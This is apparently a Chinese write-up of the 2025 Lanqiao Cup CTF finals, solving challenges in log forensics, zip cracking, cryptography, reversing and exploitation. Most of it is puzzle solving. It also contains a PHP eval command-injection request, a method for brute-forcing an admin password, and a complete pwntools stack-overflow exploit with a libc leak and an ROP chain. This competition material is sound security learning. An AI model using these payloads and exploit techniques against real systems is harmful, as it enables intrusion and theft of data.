2025年第十六届蓝桥杯CTF网络安全总决赛题解WriteUp（附所有题目附件）

前言

简介

今年是第三届蓝桥杯CTF，相⽐于以往两届，题⽬数量略微多了一点，并且解题人数也有所增加。

欢迎关注公众号【Real返璞归真】回复【蓝桥杯】，，获取【历年蓝桥杯CTF完整题解 + 题目附件 + WriteUp离线版】：

解题情况

比赛结束前3分钟的解题情况：

被遗忘的题目是全场最少解的题（47解），比赛结束前1小时才陆续有人出解。除0解题目外，AK人数<47，但感觉AK的人不少。

获奖情况分析：

• 签到题没以往简单所以不好评估参赛总人数
• 国一应该得ak的快才行（做最后一道被遗忘的题目快）
• 国二预估差1-3个题目ak比较有希望（差3个题目的话需要做出来解少的题目）

情报收集

被遗忘的

这个题目没有做，临近结束1个小时左右陆续有人解出来。

赛后找朋友要了下解题方法，但没办法去复现了，这里贴出来仅供参考。

先泄露xx.php：

根据代码逻辑，以post方式访问http://url/xx.php。

携带请求体：action=eval&phpcode=system('cat /flag')

携带Cookie：loginpass=828193099115dcaa67805a0776785b3a

具体细节可以自行研究，这里就不去复现了。

数据分析

server_logs

如果部署本地大模型的话，直接把日志丢给大模型进行检索比较快。

在auth.log中发现：

Jun 15 02:30:15 server sshd[5678]: Accepted password for attacker from 192.168.42.77 port 1337

SSH 用户名: attacker

攻击者 IP: 192.168.42.77

在syslog中发现：

恶意服务名称: hidden_backdoor（不包括 .service 后缀）

在dnsmasq.log中发现：

Jun 15 02:40:15 dnsmasq[123]: query[A] CiAgICByb290Oio6MTk0Nzk6MDo5OTk5OTo3Ojo6.data.leak.ev from 192.168.42.77
Jun 15 02:40:17 dnsmasq[123]: query[A] CmRhZW1vbjoqOjE5NDc5OjA6OTk5OTk6Nzo6Ogph.data.leak.ev from 192.168.42.77
Jun 15 02:40:19 dnsmasq[123]: query[A] dHRhY2tlcjokNiRzZWNyZXQkZW5jcnlwdGVkcGFz.data.leak.ev from 192.168.42.77
Jun 15 02:40:21 dnsmasq[123]: query[A] c3dvcmQ6MTk0Nzk6MDo5OTk5OTo3Ojo6CiAgICA.data.leak.ev from 192.168.42.77

DNS 域名固定部分: data.leak.ev

按照题目要求进行组合得到最终flag为flag{attacker_192.168.42.77_hidden_backdoor_data.leak.ev}。

flowzip2

流量分析题，分析HTTP流量，Wireshark打开流量包发现下载了200个.zip压缩包：

选择菜单栏【File → Export Objects → HTTP...】将文件全部保存：

打开压缩包：

发现提示是一个正则表达式d{3}，也就是3位数字。

使用ARCHPR爆破一个压缩包，发现密码确实是3位数字，但是文本内容是乱码。

只能考虑编写python脚本，批量爆破解压出文本内容。

使用传统压缩算法爆破：

zipfile库只支持传统加密（ZipCrypto），运行后发现密码错误。

猜测压缩包可能是AES加密，zipfile库无法正确解压，必须用pyzipper。

这个题目同pyc反编译的逆向题一样坑，如果提前没有安装这个库，就没办法写脚本批量爆破了，只能一个一个用工具爆破。

（或者可能有别的更好用的现成脚本）

最终脚本如下所示：

import pyzipper
import os

zip_dir = 'zip'
passwords = [f'{i:03d}'for i in range(1000)]

for i in range(200):
    zip_path = os.path.join(zip_dir, f'{i:03d}.zip')
    found = False

    for pwd in passwords:
        try:
            with pyzipper.AESZipFile(zip_path) as zf:
                zf.pwd = bytes(pwd, 'utf-8')
                file_list = zf.namelist()

                ifnot file_list:
                    continue

                target_file = file_list[0]
                content = zf.read(target_file).decode('utf-8').strip()

                print(f'{i:03d}.zip {pwd} {content}')
                found = True
                break

        except Exception:
            continue

    ifnot found:
        print(f'{i:03d}.zip 未找到正确密码')

运行脚本，其中一个压缩包的文本是flag：

密码破解

xxtea

这题应该对应往年的Cyberchef签到题，但对没接触过逆向和密码学的来说还是难点，因为xxtea加密后取了hex。

打开发现逻辑很简单，XXTEA解密后执行hexdump。还原也很简单，保留十六进制：

然后使用Cyberchef逆回去即可（From Hex -> XXTEA Decrypt）：

fastcoll

进入靶机后提供一个工具，然后提示我们需要提交2个不同文件的Base64编码，要求这两个文件内容以gamelab为前缀。

运行fastcoll工具查看说明文档：

C:UsersSimplicityDesktop>fastcoll_v1.0.0.5.exe
MD5 collision generator v1.5
by Marc Stevens (http://www.win./hashclash/)

Allowed options:
  -h [ --help ]           Show options.
  -q [ --quiet ]          Be less verbose.
  -i [ --ihv ] arg        Use specified initial value. Default is MD5 initial
                          value.
  -p [ --prefixfile ] arg Calculate initial value using given prefixfile. Also
                          copies data to output files.
  -o [ --out ] arg        Set output filenames. This must be the last option
                          and exactly 2 filenames must be specified.
                          Default: -o msg1.bin msg2.bin

-p参数用于指定文件数据的前缀，-o用于生成2个哈希值相等的不同文件。

创建tmp.txt文件，写入gamelab，然后使用fastcoll工具生成：

使用Cyberchef取生成的两个文件的Base64值提交到靶机即可得到Flag。

qppq

连接靶机给出n、e、c和param1，可以发现param1 = p + q。

利用欧拉函数的性质：

ϕ(n)=(p−1)(q−1)=n+1−(p+q)=n+1−param1

后续就是正常的RSA解密：

逆向分析

encodefile

连续3年出的RC4题目，拖入IDA分析，没有main函数。

考虑从字符串下手：

根据flag.txt定位到关键代码：

找到key和两个文件名，逻辑显示是通过key加密flag.txt数据后存储到enc.dat。

我们直接追踪key的数据流即可，发现有两个函数用到key。

第一个函数很明显，两轮255次循环，打乱密钥盒，可以识别出是RC4算法：

尝试使用RC4模板对密文进行解密：

def rc4_decrypt(key, ciphertext):
    '''
    RC4 解密函数
    :param key: 密钥（bytes）
    :param ciphertext: 密文（bytes）
    :return: 解密后的明文（bytes）
    '''
    # RC4 密钥调度算法（KSA）
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i], S[j] = S[j], S[i]

    # 伪随机生成算法（PRGA）解密
    i = j = 0
    plaintext = []
    for byte in ciphertext:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        k = S[(S[i] + S[j]) % 256]
        plaintext.append(byte ^ k)

    return bytes(plaintext)

with open('enc.dat', 'rb') as f:
    ciphertext = f.read()

key = b'key2025lqb'

plaintext = rc4_decrypt(key, ciphertext)

print('Decrypted Data (Hex):', plaintext.hex())
try:
    print('Decrypted Text:', plaintext.decode('utf-8'))
except UnicodeDecodeError:
    print('Decrypted Data is not UTF-8 text.')

可以直接得到Flag，那就不需要继续后续分析了。

rand_pyc

断网环境出这种题目就比较离谱，如果你python版本太低或者太高就做不了。

这个题目需要使用python3.8或者相近的版本，否则会报错无法反编译。

先使用pyinstxtractor将exe反编译为pyc文件：

然后使用uncompyle6将pyc反编译为py源代码：

uncompyle6 rand_pyc_obf.pyc > decompiled.py

检查输入Flag的Base64编码拼接'_easyctf'后，每个字符作为随机种子生成的数字是否匹配预设的列表。

编写脚本爆破并重排序回去得到flag：

import random
import base64

iii111 = [4417023, 5690625, 9639225, 1327718, 4417023, 5085550, 5752075, 9556690, 5240080, 6431679, 3428007, 3189766, 3438336, 5757818, 3189766, 5690625, 4148389, 2254831, 6292433, 2122126, 5240080, 6431679, 9488271, 2464675, 7216908, 5757818, 3189766, 5690625, 3438336, 6431679, 2360475, 6002055, 5240080, 9040261, 8655414, 9347278, 3438336, 2254831, 2122126, 5135281, 2360475, 9347278, 4417023, 1327718, 3438336, 3448715, 9488271, 5501611, 5240080, 5757818, 9488271, 5501611, 5240080, 9347278, 4148389, 1714134, 9923116, 4267438, 4263793, 5752075, 2464675, 7777627, 6002055, 3485900]

char_map = {}
for c in range(128):
    random.seed(c)
    char_map[random.randint(1000000, 9999999)] = chr(c)

b64_str = ''.join([char_map[num] for num in iii111])[:-8]
flag = base64.b64decode(b64_str).decode()
print(flag)

漏洞挖掘分析

弱口令

靶机题目，无附件。

打开是一个登录页面，并且给我们了一个测试账号密码。

在主页面查看源代码发现：

但是访问这两个接口把ID改为1后提示权限不足，查看Cookie后想伪造jwt但不知道secret。

进入个人中心发现有一个程序员日记：

2号用户的个人笔记

现象观察：部分用户设置密码时，会采用“用户名+4位数字”的组合形式（例如用户名为 “user”，密码可能设为 “user1234”）。

潜在风险：

+ 关联性过强：密码直接基于用户名延伸，若用户名泄露，攻击者可快速锁定密码结构，大幅缩小暴力破解范围。

+ 数字规律易猜：4 位数字常为生日、年份、连续数字（如 “1234”）或简单重复组合（如 “5656”），安全性极低。

+ 缺乏复杂度：此类密码未包含字母大小写、特殊符号等元素，无法满足现代系统对密码强度的基本要求。

创建时间: 2025-06-20 11:14:06

根据提示，尝试用户名为admin，密码为adminxxxx进行爆破（Burpsuite或Python脚本）。

成功爆破出密码为admin0621（刚好是比赛当天的日期，也可以猜测得到），登录后在个人中心找到flag即可。

星际xml解析器2

0解题目，没有去看。

open_sesame

经典32位模板题目，逻辑很简单：

存在栈溢出漏洞，可以考虑ret2libc，但是题目开启沙箱保护：

查看后发现禁用系统调用execve，只能考虑orw。由于溢出空间比较小且题目没有给出flag字符串，需要栈迁移。

第一次栈溢出先通过puts函数泄露libc，然后返回main函数。

第二次栈溢出迁移到bss段执行orw操作（需要借助gadget平栈）。

完整exp如下所示：

from pwn import *

elf = ELF('./open_sesame')
libc = ELF('./libc.so.6')
p = process([elf.path])

context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'

main = elf.symbols['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

# leak libc
payload = b'a' * 0x48 + p32(0) + p32(puts_plt) + p32(main) + p32(puts_got)
p.sendafter(b'code:n', payload)
libc_base = u32(p.recvuntil(b'xf7')[-4:].ljust(4, b'x00')) - libc.sym['puts']
libc.address = libc_base
success('libc_base = ' + hex(libc_base))

# stack_pivot + ret2orw
bss_addr = elf.bss()
leave_ret = 0x08049165
open_addr = libc.sym['open']
read_addr = libc.sym['read']
write_addr = libc.sym['write']

rw_mem = bss_addr
buf_addr = rw_mem + 0x100

payload = b'a' * 0x48
payload += p32(rw_mem - 4)
payload += p32(elf.plt['read'])
payload += p32(next(elf.search(asm('leave; ret;'), executable=True)))
payload += p32(0)
payload += p32(rw_mem)
payload += p32(0x200)

gdb.attach(p, 'b *0x80492EDnc')
pause()

p.sendafter(b'code:n', payload)

rop = b''

# open('./flag', 0)
rop += p32(libc.symbols['open'])
rop += p32(next(libc.search(asm('pop ebx; pop esi; ret'))))          # 返回地址，清理参数
rop += p32(buf_addr)             # 参数1 pathname 地址
rop += p32(0)                   # 参数2 flags O_RDONLY

# read(fd=3, buf_addr, 0x100)
rop += p32(libc.symbols['read'])
rop += p32(next(libc.search(asm('pop ebx; pop esi; pop edi; ret'))))             # 返回地址，清理参数
rop += p32(3)                   # fd
rop += p32(buf_addr)            # buf
rop += p32(0x100)               # size

# write(fd=1, buf_addr, 0x100)
rop += p32(libc.symbols['write'])
rop += p32(next(libc.search(asm('pop ebx; pop esi; pop edi; ret'))))             # 返回地址，清理参数
rop += p32(1)                   # fd stdout
rop += p32(buf_addr)            # buf
rop += p32(0x100)               # size

rop = rop.ljust(0x100, b'x00')
rop += b'./flagx00'
p.send(rop)
# gdb.attach(p)

p.interactive()

数据库安全

和前几年一样，几乎年年0解，没有去看。

java数据库组件安全

java数据库组件安全的测试